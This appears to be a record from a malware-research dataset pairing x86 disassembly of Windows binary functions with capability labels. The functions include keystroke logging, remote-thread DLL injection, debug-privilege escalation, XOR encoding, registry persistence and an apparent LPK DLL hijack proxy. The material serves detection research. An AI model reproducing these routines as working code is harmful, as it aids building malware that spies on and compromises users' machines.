joyce8/EMBER2024-capa huggingface dataset:
Function at 0x73a1e4
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push esi
push edi
push ebx
mov esi, section..idata
mov eax, 0x100000
mov dword [ebp - 4], eax
mov edx, eax
mov eax, dword [esi + 0xc]
or eax, eax
je 0x73a2a0
add eax, edx
mov ebx, eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
or eax, eax
jne 0x73a229
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryA]
or eax, eax
je 0x73a28b
mov dword [ebp - 8], eax
push 0
pop dword [ebp - 0xc]
mov eax, dword [esi]
or eax, eax
mov edx, dword [ebp - 4]
jne 0x73a241
mov eax, dword [esi + 0x10]
add eax, edx
add eax, dword [ebp - 0xc]
mov ebx, dword [eax]
mov edi, dword [esi + 0x10]
add edi, edx
add edi, dword [ebp - 0xc]
or ebx, ebx
je 0x73a2a7
test ebx, 0x80000000
jne 0x73a268
lea ebx, [ebx + edx + 2]
and ebx, 0x7fffffff
push ebx
push dword [ebp - 8]
call dword [sym.imp.kernel32.dll_GetProcAddress]
or eax, eax
je 0x73a28b
mov dword [edi], eax
add dword [ebp - 0xc], 4
jmp 0x73a231
push 0x10
push 0
push ebx
push 0
call dword [sym.imp.user32.dll_MessageBoxA]
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_ExitProcess]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
add esi, 0x14
mov edx, dword [ebp - 4]
jmp 0x73a1fc
Function at 0x62c27ee3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], esp
mov ebx, dword [ebp + 0x10]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x62c27f33
push 6
call fcn.62c2b459
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], esp
push dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push dword [ebx]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x62c27f60
push 6
call fcn.62c2b459
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x62c2801d
mov dword [ebp - 0x18], esp
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x62c27f92
push 6
call fcn.62c2b459
add esp, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadResource]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x62c27fba
push 6
call fcn.62c2b459
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x62c2801d
mov dword [ebp - 0x18], esp
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LockResource]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x62c27fe9
push 6
call fcn.62c2b459
add esp, 4
mov dword [ebp - 0x14], eax
push 0x80000301
push 0
push dword [ebp - 0xc]
push 0x80000301
push 0
push dword [ebp - 0x14]
push 2
mov ebx, 0x910
call fcn.62c2ce60
add esp, 0x1c
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
jmp 0x62c28027
mov eax, 0x62c377c7
jmp 0x62c28027
mov esp, ebp
pop ebp
ret 0x10
Function at 0x62c2a0d2
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
mov eax, 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x62c2a117
push 6
call fcn.62c2b459
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x62c2a139
push 6
call fcn.62c2b459
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
push 1
push dword [ebp - 4]
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_AttachThreadInput]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x62c2a166
push 6
call fcn.62c2b459
add esp, 4
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetFocus]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x62c2a188
push 6
call fcn.62c2b459
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x62c2a1aa
push 6
call fcn.62c2b459
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esp
push 0
push dword [ebp - 4]
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_AttachThreadInput]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x62c2a1d7
push 6
call fcn.62c2b459
add esp, 4
mov dword [ebp - 0xc], esp
call dword [sym.imp.USER32.dll_GetFocus]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x62c2a1f6
push 6
call fcn.62c2b459
add esp, 4
cmp dword [ebp - 8], eax
mov eax, 0
setne al
jmp 0x62c2a206
mov esp, ebp
pop ebp
ret 4
Function at 0x62c2b870
Capabilities:
Get common file path
Link many functions at runtime
Terminate process

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x62c380f0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [0x62c38514], eax
je 0x62c2b9d4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LpkInitialize
push eax
call esi
mov ecx, dword [0x62c38514]
push str.LpkTabbedTextOut
push ecx
mov dword [0x62c38500], eax
call esi
mov edx, dword [0x62c38514]
push str.LpkDllInitialize
push edx
mov dword [0x62c38504], eax
call esi
mov dword [0x62c3850c], eax
mov eax, dword [0x62c38514]
push str.LpkDrawTextEx
push eax
call esi
mov ecx, dword [0x62c38514]
push str.LpkExtTextOut
push ecx
mov dword [0x62c384f4], eax
call esi
mov edx, dword [0x62c38514]
push str.LpkGetCharacterPlacement
push edx
mov dword [0x62c384f8], eax
call esi
mov dword [0x62c38510], eax
mov eax, dword [0x62c38514]
push str.LpkEditControl
push eax
call esi
mov ecx, dword [0x62c38514]
push str.LpkGetTextExtentExPoint
push ecx
mov dword [0x62c384fc], eax
call esi
mov edx, dword [0x62c38514]
push str.LpkPSMTextOut
push edx
mov dword [0x62c384e8], eax
call esi
mov dword [0x62c384f0], eax
mov eax, dword [0x62c38514]
push str.LpkUseGDIWidthCache
push eax
call esi
mov ecx, dword [0x62c38514]
push str.ftsWordBreak
push ecx
mov dword [0x62c38508], eax
call esi
mov edx, dword [0x62c384fc]
mov edi, sym.lpk.dll_LpkEditControl
sub edi, 4
mov ecx, 0x11
lea esi, [edx - 4]
mov dword [0x62c384ec], eax
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
add esp, 0x104
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100013e6
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
xor edi, edi
push edi
call esi
push edi
push edi
push edi
push edi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x1000a484
mov dword [ebp - 4], 0x123
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push edi
call esi
xor dword [ebp - 4], 0x31edf42
push dword [ebp - 4]
push str._08x
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
pop edi
pop esi
leave
ret

Function at 0x10001435
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x1000a484
mov dword [ebp - 4], 0x123
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
xor dword [ebp - 4], 0x33ab3c2
push dword [ebp - 4]
push str._08x
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
pop esi
leave
ret

Function at 0x1000147d
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
mov esi, 0x128
push esi
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.10001c49
add esp, 0xc
push 0
push 2
mov dword [ebp - 0x128], esi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32First
jmp 0x100014ec
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_CharUpperA]
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x100014fc
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100014be
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
leave
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x120]
jmp 0x100014f9

Function at 0x1000150b
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10001571
push esi
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
xor esi, esi
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10001563
push esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10001563
inc esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret
xor eax, eax
leave
ret
Function at 0x10001575
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ecx
push ecx
push ebp
xor ebp, ebp
cmp dword [esp + 0x10], ebp
je 0x10001591
mov dword [esp + 4], ebp
mov dword [esp + 8], ebp
call fcn.1000150b
test eax, eax
jne 0x10001598
xor eax, eax
jmp 0x10001656
push edi
push dword [esp + 0x14]
push ebp
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebp
je 0x10001651
push ebx
push esi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 4
mov esi, eax
push 0x1000
inc esi
push esi
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
cmp ebx, ebp
je 0x10001648
push ebp
push esi
push dword [esp + 0x28]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000162b
push 0x1000a494
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebp
je 0x1000162b
push ebp
push ebp
push ebx
push eax
push ebp
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
cmp esi, ebp
je 0x1000162f
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esp + 0x10], 1
jmp 0x1000162f
mov esi, dword [esp + 0x14]
push 0x8000
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, ebp
je 0x10001648
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov eax, dword [esp + 8]
pop edi
pop ebp
pop ecx
pop ecx
ret 8

Function at 0x1000176e
Capabilities:
Check mutex on windows

Disassembly:
mov byte [0x1000d19f], 1
jmp fcn.100053d0

Function at 0x100017f4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x1000a484
mov dword [ebp - 4], 0x123
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
xor dword [ebp - 4], 0x34d2121
push dword [ebp - 4]
push str._08x
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
pop esi
leave
ret
Function at 0x1000183c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
sub eax, ebx
je 0x10001981
dec eax
jne 0x1000199f
push esi
push edi
xor eax, eax
mov byte [ebp - 0x11c], bl
push 0x40
pop ecx
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
mov dword [0x10006018], eax
call fcn.100017d2
mov byte [0x1000d0bd], al
call fcn.100055a0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, 0x104
push edi
test eax, eax
push 0x10006020
push dword [0x10006018]
setne al
mov byte [0x1000d0be], al
call esi
push edi
lea eax, [ebp - 0x11c]
push eax
push ebx
call esi
push 0x5c
push ebx
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov esi, eax
push str.explorer.exe
inc esi
push esi
call edi
test eax, eax
jne 0x100018e8
mov byte [0x1000622c], 1
jmp 0x10001976
push str.rundll32.exe
push esi
call edi
test eax, eax
jne 0x100018fd
mov byte [0x1000622d], 1
jmp 0x10001976
push str.AD_AWARE.EXE
push esi
call edi
test eax, eax
jne 0x10001929
lea eax, [ebp + 0xc]
push eax
push ebx
push ebx
push 0x100016e4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, ebx
je 0x10001976
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10001976
push str.WINLOGON.EXE
push esi
call edi
test eax, eax
jne 0x10001976
cmp byte [0x1000d19f], bl
jne 0x10001976
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 8
lea eax, [ebp - 8]
push eax
push 0x1000d190
call fcn.10001c7c
lea eax, [ebp + 0xf]
push eax
call fcn.1000243c
add esp, 0x10
call fcn.100053d0
pop edi
mov byte [0x1000622e], 1
pop esi
jmp 0x1000199f
cmp byte [0x1000622c], bl
je 0x1000199f
mov eax, dword [0x1000601c]
cmp eax, ebx
je 0x1000199f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1000601c], ebx
xor eax, eax
inc eax
pop ebx
leave
ret 0xc
Function at 0x10001d31
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [esp + 8]
push esi
mov esi, ecx
push edi
lea edi, [esi + 0xc]
and dword [edi], 0
mov dword [esi + 4], ebx
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp dword [esi + 4], 0
mov dword [esi], eax
je 0x10001d7c
cmp dword [esi + 8], 0
je 0x10001d7c
push dword [esp + 0x14]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
je 0x10001d7c
push edi
push 0x40
push dword [esp + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov eax, esi
pop esi
pop ebx
ret 8

Function at 0x100023ed
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x1000a484
mov dword [ebp - 4], 0x123
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
xor eax, 0x34dc821
mov dword [ebp - 4], eax
xor eax, 0x21e1e6c2
push eax
push str._08x
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
pop esi
leave
ret
Function at 0x1000263f
Capabilities:
Check mutex on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push ebx
xor ebx, ebx
cmp byte [0x10006c15], bl
jne 0x1000273d
lea eax, [ebp - 0x138]
push esi
push eax
call fcn.100023ed
pop ecx
lea eax, [ebp - 0x138]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
cmp esi, ebx
je 0x1000273c
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10002735
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 8
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.10001c7c
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
add esp, 0xc
mov dword [ebp - 0x14], eax
mov eax, dword [0x1000d198]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionControl_PanelSettings
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000272e
push 0xc
lea eax, [ebp - 0x18]
push eax
push 3
push ebx
push str.Time
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0xc]
push dword [ebp - 4]
mov dword [0x1000d188], eax
mov eax, dword [ebp - 8]
mov dword [0x1000d18c], eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
leave
ret

Function at 0x10002740
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
call fcn.10001cd4
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor ecx, ecx
test edi, edi
mov dword [ebp - 8], eax
jle 0x10002764
xor byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x1000275c
push 1
lea eax, [ebp - 8]
push eax
lea ebx, [esi + edi]
push ebx
call fcn.10001c7c
mov al, byte [esi]
xor edx, edx
inc edx
lea ecx, [edi + 1]
add esp, 0xc
cmp ecx, edx
mov dword [ebp + 0xc], edx
jle 0x10002794
mov edx, dword [ebp + 0xc]
add edx, esi
xor byte [edx], al
inc dword [ebp + 0xc]
cmp dword [ebp + 0xc], ecx
jl 0x10002785
push 1
lea eax, [ebp - 8]
push eax
lea eax, [ebx + 1]
push eax
mov byte [ebp - 1], 1
call fcn.10001c7c
push 1
lea eax, [ebp - 1]
push eax
add ebx, 2
push ebx
call fcn.10001c7c
mov ebx, dword [ebp + 0x10]
lea eax, [ebp + 0xc]
push eax
push ebx
add edi, 3
push edi
push esi
mov dword [ebp + 0xc], 0x400
call fcn.10002388
mov eax, dword [ebp + 0xc]
add esp, 0x28
pop edi
pop esi
mov byte [eax + ebx], 0
pop ebx
leave
ret
Function at 0x100027de
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
push ecx
lea eax, [edi + edi]
push esi
push eax
push dword [ebp + 8]
mov dword [ebp + 0xc], eax
call fcn.10002305
mov al, byte [esi]
xor edx, edx
inc edx
lea ecx, [edi - 1]
add esp, 0x10
cmp ecx, edx
jle 0x10002814
xor byte [edx + esi], al
inc edx
cmp edx, ecx
jl 0x1000280c
mov cl, byte [edi + esi - 1]
xor eax, eax
test edi, edi
jle 0x10002826
xor byte [eax + esi], cl
inc eax
cmp eax, edi
jl 0x1000281e
pop edi
pop esi
pop ebp
ret

Function at 0x100028f8
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push 0x1000a484
mov dword [ebp - 4], 0xfdec
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x1000292d
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
xor dword [ebp - 4], 0x1221
push dword [ebp - 4]
push str._08x
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
pop esi
leave
ret

Function at 0x10002985
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x114
xor eax, eax
push ebx
push esi
mov dword [ebp + 0x74], eax
mov dword [ebp + 0x6c], eax
mov dword [ebp + 0x70], eax
lea eax, [ebp + 0x3c]
push edi
push eax
call fcn.100028f8
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop ecx
mov ebx, str.SoftwareMicrosoft_
push ebx
lea eax, [ebp - 0x38]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp + 0x3c]
push eax
lea eax, [ebp - 0x38]
push eax
call edi
push ebx
lea eax, [ebp - 0x9c]
push eax
call esi
lea eax, [ebp + 0x3c]
push eax
lea eax, [ebp - 0x9c]
push eax
call edi
lea eax, [ebp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp + 0x5c]
push eax
lea eax, [ebp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 8
lea eax, [ebp + 0x5c]
push eax
lea eax, [ebp + 0x64]
push eax
call fcn.10001c7c
add esp, 0xc
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.RtlTimeToSecondsSince1970
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10002a30
lea ecx, [ebp + 0x6c]
push ecx
lea ecx, [ebp + 0x64]
push ecx
call eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp + 0x74]
push eax
lea eax, [ebp - 0x38]
push eax
push 0x80000002
call esi
test eax, eax
je 0x10002a5b
lea eax, [ebp + 0x74]
push eax
lea eax, [ebp - 0x9c]
push eax
push 0x80000001
call esi
cmp dword [ebp + 0x74], 0
pop edi
pop esi
pop ebx
je 0x10002a84
push 8
lea eax, [ebp + 0x6c]
push eax
push 3
push 0
lea eax, [ebp + 0x3c]
push eax
push dword [ebp + 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebp, 0x78
leave
ret
Function at 0x10002a89
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x150
push ebx
push esi
lea eax, [ebp + 0x54]
push edi
push eax
call fcn.100028f8
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop ecx
mov ebx, str.SoftwareMicrosoft_
push ebx
lea eax, [ebp - 0x74]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp + 0x54]
push eax
lea eax, [ebp - 0x74]
push eax
call esi
push ebx
lea eax, [ebp - 0xd8]
push eax
call edi
lea eax, [ebp + 0x54]
push eax
lea eax, [ebp - 0xd8]
push eax
call esi
push 0x10006b40
lea eax, [ebp - 0x10]
push eax
call edi
push 0x1000b724
lea eax, [ebp - 0x10]
push eax
call esi
push 0x10006ba8
lea eax, [ebp - 0x10]
push eax
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp + 0x74]
push eax
lea eax, [ebp - 0x74]
push eax
push 0x80000002
call esi
test eax, eax
je 0x10002b2a
lea eax, [ebp + 0x74]
push eax
lea eax, [ebp - 0xd8]
push eax
push 0x80000001
call esi
test eax, eax
jne 0x10002b50
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [ebp - 0x10]
push eax
push 1
push 0
push dword [ebp + 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push dword [ebp + 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.10002944
test al, al
pop edi
pop esi
pop ebx
jne 0x10002b61
call fcn.10002985
add ebp, 0x78
leave
ret

Function at 0x10002b66
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
lea eax, [ebp - 4]
push eax
push 0x20019
xor edi, edi
push edi
push str.SOFTWAREMicrosoftInstaller
push 0x80000001
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002bc5
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push edi
push edi
push dword [ebp - 4]
mov dword [ebp - 8], 8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10002bb6
inc edi
jmp 0x10002bbb
mov dword [esi], edi
mov dword [esi + 4], edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, edi
pop edi
leave
ret

Function at 0x10002bca
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push str.SOFTWAREMicrosoftInstaller
push 0x80000001
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10002c12
push 8
lea eax, [ebp + 8]
push eax
push 3
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret